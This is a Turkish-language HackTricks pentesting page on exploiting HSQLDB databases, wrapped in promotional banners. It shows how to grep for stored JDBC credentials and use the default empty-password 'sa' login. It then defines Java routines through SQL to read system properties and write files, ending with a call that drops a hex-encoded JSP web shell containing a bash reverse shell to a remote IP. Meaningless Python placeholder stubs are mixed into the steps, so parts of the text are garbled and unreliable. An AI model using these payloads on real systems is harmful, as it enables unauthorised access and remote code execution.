AWS hacklemeyi sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
# Temel Bilgiler **HSQLDB \([HyperSQL Veritabanı](http://hsqldb.org/)\)**, Java'da yazılmış önde gelen SQL ilişkisel veritabanı sistemidir. Hafızada ve disk tabanlı tabloları destekleyen küçük, hızlı, çoklu iş parçacıklı ve işlem tabanlı bir veritabanı motoru sunar ve gömülü ve sunucu modlarını destekler. **Varsayılan port:** 9001 ```text 9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0) ``` # Bilgi ### Varsayılan Ayarlar Unutmayın ki bu hizmet varsayılan olarak bellekte çalışıyor veya localhost'a bağlı. Eğer bulduysanız, muhtemelen başka bir hizmeti ele geçirdiniz ve ayrıcalıkları yükseltmek istiyorsunuz. Varsayılan kimlik bilgileri genellikle boş bir şifre ile `sa` olarak ayarlanmıştır. Başka bir hizmeti ele geçirdiyseniz, olası kimlik bilgilerini aramak için aşağıdaki komutu kullanabilirsiniz: ```text grep -rP 'jdbc:hsqldb.*password.*' /path/to/search ``` Notu veritabanı adını dikkatlice kaydedin - bağlanmak için ihtiyacınız olacak. # Bilgi Toplama HSQLDB'yi [indirerek](https://sourceforge.net/projects/hsqldb/files/) ve `hsqldb/lib/hsqldb.jar` dosyasını çıkararak DB örneğine bağlanın. GUI uygulamasını \(eww\) `java -jar hsqldb.jar` kullanarak çalıştırın ve keşfedilen/zayıf kimlik bilgilerini kullanarak örneğe bağlanın. Bağlantı URL'si, uzak bir sistem için aşağıdaki gibi görünecektir: `jdbc:hsqldb:hsql://ip/DBNAME`. # Hileler ## Java Dil Rutinleri Java Dil Rutinleri kullanarak HSQLDB'den bir Java sınıfının statik yöntemlerini çağırabiliriz. Çağrılan sınıfın uygulamanın sınıf yolu üzerinde olması gerektiğini unutmayın. JRT'ler `fonksiyonlar` veya `prosedürler` olabilir. Java yöntemi bir veya daha fazla SQL uyumlu ilkel değişken döndürüyorsa, fonksiyonlar SQL ifadeleri aracılığıyla çağrılabilir. `VALUES` ifadesi kullanılarak çağrılırlar. Eğer çağırmak istediğimiz Java yöntemi void döndürüyorsa, `CALL` ifadesiyle çağrılması gereken bir prosedür kullanmamız gerekmektedir. ## Java Sistem Özelliklerini Okuma Fonksiyon oluştur: ```text CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty' ``` ```python def execute_function(): # Code to execute the function goes here pass ``` Fonksiyonu çalıştır: ```python def execute_function(): # Fonksiyonu çalıştırmak için gerekli kod buraya yazılır pass ``` ```text VALUES(getsystemproperty('user.name')) ``` Aşağıda [sistem özelliklerinin bir listesini bulabilirsiniz](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html). ## Dosyaya İçerik Yazma Özel bir prosedür aracılığıyla disk üzerine onaltılık kodlanmış öğeleri yazmak için JDK'da bulunan `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java aracını (uygulamanın sınıf yoluna otomatik olarak yüklenir) kullanabilirsiniz. **Maksimum boyutun 1024 bayt olduğunu unutmayın**. Prosedür oluşturma: ```text CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024)) LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename' ``` Yürütme prosedürü: ```text call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024))) ```
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin! HackTricks'i desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**.